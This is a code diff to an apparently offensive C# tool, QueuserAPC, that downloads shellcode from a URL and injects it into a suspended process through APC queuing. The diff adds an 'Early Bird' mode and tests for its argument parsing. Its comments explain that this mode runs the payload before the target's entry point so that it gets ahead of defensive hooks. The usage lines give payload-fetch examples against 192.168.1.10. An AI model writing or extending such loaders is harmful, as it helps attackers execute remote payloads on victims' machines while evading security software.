diff --git a/QueuserAPC.Tests/ProgramTests.cs b/QueuserAPC.Tests/ProgramTests.cs index 5ee3ebb..45ef85c 100644 --- a/QueuserAPC.Tests/ProgramTests.cs +++ b/QueuserAPC.Tests/ProgramTests.cs @@ -66,4 +66,37 @@ public void ParseUseNt_FlagCaseInsensitive_ReturnsTrue() { Assert.True(Program.ParseUseNt(["--NT", "http://192.168.1.10/payload.bin"])); } + + // --- ParseUseEarlyBird --- + + [Fact] + public void ParseUseEarlyBird_NoFlag_ReturnsFalse() + { + Assert.False(Program.ParseUseEarlyBird(["http://192.168.1.10/payload.bin"])); + } + + [Fact] + public void ParseUseEarlyBird_WithFlag_ReturnsTrue() + { + Assert.True(Program.ParseUseEarlyBird(["--early-bird", "http://192.168.1.10/payload.bin"])); + } + + [Fact] + public void ParseUseEarlyBird_FlagCaseInsensitive_ReturnsTrue() + { + Assert.True(Program.ParseUseEarlyBird(["--EARLY-BIRD", "http://192.168.1.10/payload.bin"])); + } + + [Fact] + public void ParseUrl_EarlyBirdFlagSkipped_ReturnsUrl() + { + const string url = "http://192.168.1.10/payload.bin"; + Assert.Equal(url, Program.ParseUrl(["--early-bird", url])); + } + + [Fact] + public void ParseUseNt_NotSetWhenEarlyBirdPresent() + { + Assert.False(Program.ParseUseNt(["--early-bird", "http://192.168.1.10/payload.bin"])); + } } diff --git a/QueuserAPC/Program.cs b/QueuserAPC/Program.cs index d569325..2b43f15 100644 --- a/QueuserAPC/Program.cs +++ b/QueuserAPC/Program.cs @@ -13,7 +13,7 @@ internal static string ParseUrl(string[] args) if (args.Length < 1) throw new ArgumentException("Shellcode URL is required."); - // Skip --nt flag when looking for the URL + // Skip --nt / --early-bird flags when looking for the URL var url = Array.Find(args, a => !a.StartsWith("--")) ?? throw new ArgumentException("Shellcode URL is required."); @@ -31,24 +31,41 @@ internal static string ParseUrl(string[] args) internal static bool ParseUseNt(string[] args) => Array.Exists(args, a => a.Equals("--nt", StringComparison.OrdinalIgnoreCase)); + /// + /// Returns true when the --early-bird flag is present, selecting the + /// Early Bird APC technique: shellcode is queued via + /// into a process created with CREATE_SUSPENDED before its primary thread has + /// executed any user-mode code. Because a newly created suspended thread begins in an + /// alertable state, the APC fires immediately on , + /// before the process entry point runs. + /// + internal static bool ParseUseEarlyBird(string[] args) => + Array.Exists(args, a => a.Equals("--early-bird", StringComparison.OrdinalIgnoreCase)); + static async Task Main(string[] args) { string shellcodeUrl; bool useNt; + bool useEarlyBird; try { shellcodeUrl = ParseUrl(args); useNt = ParseUseNt(args); + useEarlyBird = ParseUseEarlyBird(args); } catch (ArgumentException ex) { Console.Error.WriteLine($"Error: {ex.Message}"); - Console.Error.WriteLine("Usage: QueuserAPC [--nt] "); + Console.Error.WriteLine("Usage: QueuserAPC [--nt | --early-bird] "); Console.Error.WriteLine(" e.g. QueuserAPC https://192.168.1.10/payload.bin"); Console.Error.WriteLine(" QueuserAPC --nt https://192.168.1.10/payload.bin"); + Console.Error.WriteLine(" QueuserAPC --early-bird https://192.168.1.10/payload.bin"); Console.Error.WriteLine(); Console.Error.WriteLine("Flags:"); - Console.Error.WriteLine(" --nt Use NtQueueApcThread (ntdll) instead of QueueUserAPC (kernel32)"); + Console.Error.WriteLine(" --nt Use NtQueueApcThread (ntdll) instead of QueueUserAPC (kernel32)"); + Console.Error.WriteLine(" --early-bird Early Bird APC: queue shellcode into a CREATE_SUSPENDED process"); + Console.Error.WriteLine(" before its primary thread executes any user-mode code."); + Console.Error.WriteLine(" The APC fires on ResumeThread, ahead of the entry point."); Environment.Exit(1); return; } @@ -115,9 +132,27 @@ static async Task Main(string[] args) out _); if (useNt) + { + // NtQueueApcThread (ntdll) — does not require the target thread to be in an + // alertable wait state; useful against running threads that may never enter one. Win32.NtQueueApcThread(pi.hThread, baseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); + } + else if (useEarlyBird) + { + // Early Bird APC — process was created with CREATE_SUSPENDED so the primary + // thread has not yet executed any user-mode code. A newly created suspended + // thread begins in an alertable state, so QueueUserAPC fires immediately when + // ResumeThread is called, before the process entry point runs. This gives the + // shellcode a head start over any in-process defensive hooks loaded via the + // normal DLL initialisation sequence. + Win32.QueueUserAPC(baseAddress, pi.hThread, 0); + } else + { + // Standard QueueUserAPC (kernel32) — queues an APC to the target thread. + // Requires the thread to enter an alertable wait (e.g. SleepEx, WaitForSingleObjectEx). Win32.QueueUserAPC(baseAddress, pi.hThread, 0); + } Win32.ResumeThread(pi.hThread); }